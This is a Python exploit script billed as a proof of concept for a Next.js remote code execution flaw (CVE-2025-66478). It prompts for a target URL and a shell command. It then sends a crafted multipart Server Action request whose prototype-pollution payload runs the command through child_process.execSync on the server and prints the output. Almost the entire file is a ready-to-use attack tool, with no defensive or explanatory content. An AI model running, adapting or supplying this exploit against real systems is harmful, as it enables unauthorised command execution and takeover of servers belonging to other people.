import requests
import json
import sys
import time

class Colors:
    GREEN = '\033[92m'
    DARK_GREEN = '\033[32m'
    WHITE = '\033[97m'
    BOLD = '\033[1m'
    ENDC = '\033[0m'

def print_banner():
    banner_art = f"""{Colors.GREEN}{Colors.BOLD}
      _         _    _                      _  __      _       _     _   _  _  _____ 
     / \   _ __| | _| |__   __ _ _ __ ___  | |/ /_ __ (_) __ _| |__ | |_| || ||___  |
    / _ \ | '__| |/ / '_ \ / _` | '_ ` _ \ | ' /| '_ \| |/ _` | '_ \| __| || |_  / / 
   / ___ \| |  |   <| | | | (_| | | | | | || . \| | | | | (_| | | | | |_|__   _|/ /  
  /_/   \_\_|  |_|\_\_| |_|\__,_|_| |_| |_||_|\_\_| |_|_|\__, |_| |_|\__|  |_| /_/   
                                                         |___/                         
    {Colors.DARK_GREEN}------------------------------------------------------------
    {Colors.WHITE}>>   CVE-2025-66478  |  NEXT.JS RCE POC   <<
    {Colors.WHITE}>>   DEVELOPED BY: ARKHAMKNIGHT47         <<
    {Colors.DARK_GREEN}------------------------------------------------------------{Colors.ENDC}
    """
    print(banner_art)

def parse_response(raw_text):
    """
    Parses the JSON response to extract the command output.
    """
    for line in raw_text.split('\n'):
        if '"digest":' in line:
            try:
                start_index = line.find('{')
                if start_index != -1:
                    json_part = line[start_index:]
                    data = json.loads(json_part)
                    if 'digest' in data:
                        return data['digest']
            except json.JSONDecodeError:
                continue
    return None

def main():
    print_banner()
    
    try:
        base_url = input(f"{Colors.GREEN}[?] TARGET URL > {Colors.ENDC}").strip()
        if not base_url.startswith("http"):
            print(f"{Colors.GREEN}[!] URL must start with http:// or https://{Colors.ENDC}")
            sys.exit(1)
            
        cmd = input(f"{Colors.GREEN}[?] COMMAND > {Colors.ENDC}").strip()
        if not cmd:
            cmd = "id"

    except KeyboardInterrupt:
        sys.exit()

    print(f"\n{Colors.DARK_GREEN}[*] EXECUTING EXPLOIT...{Colors.ENDC}")
    time.sleep(1)

    crafted_chunk = {
        "then": "$1:__proto__:then",
        "status": "resolved_model",
        "reason": -1,
        "value": '{"then": "$B0"}',
        "_response": {
            "_prefix": f"var res = process.mainModule.require('child_process').execSync('{cmd}',{{'timeout':5000}}).toString(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest: res}});",
            "_formData": {
                "get": "$1:constructor:constructor",
            },
        },
    }

    files = {
        "0": (None, json.dumps(crafted_chunk)),
        "1": (None, '"$@0"'),
    }
    headers = {"Next-Action": "x"}

    try:
        res = requests.post(base_url, files=files, headers=headers, timeout=15)
        
        final_output = parse_response(res.text)

        if final_output:
            print(f"{Colors.GREEN}[+] PAYLOAD SUCCESSFUL. OUTPUT BELOW:{Colors.ENDC}")
            print(f"{Colors.DARK_GREEN}{'='*60}{Colors.ENDC}")
            print(f"{Colors.GREEN}{final_output.strip()}{Colors.ENDC}")
            print(f"{Colors.DARK_GREEN}{'='*60}{Colors.ENDC}")
        else:
            print(f"{Colors.GREEN}[!] RAW RESPONSE (Parsing Failed):{Colors.ENDC}")
            print(res.text[:500])

    except Exception as e:
        print(f"{Colors.GREEN}[!] ERROR: {e}{Colors.ENDC}")

if __name__ == "__main__":
    main()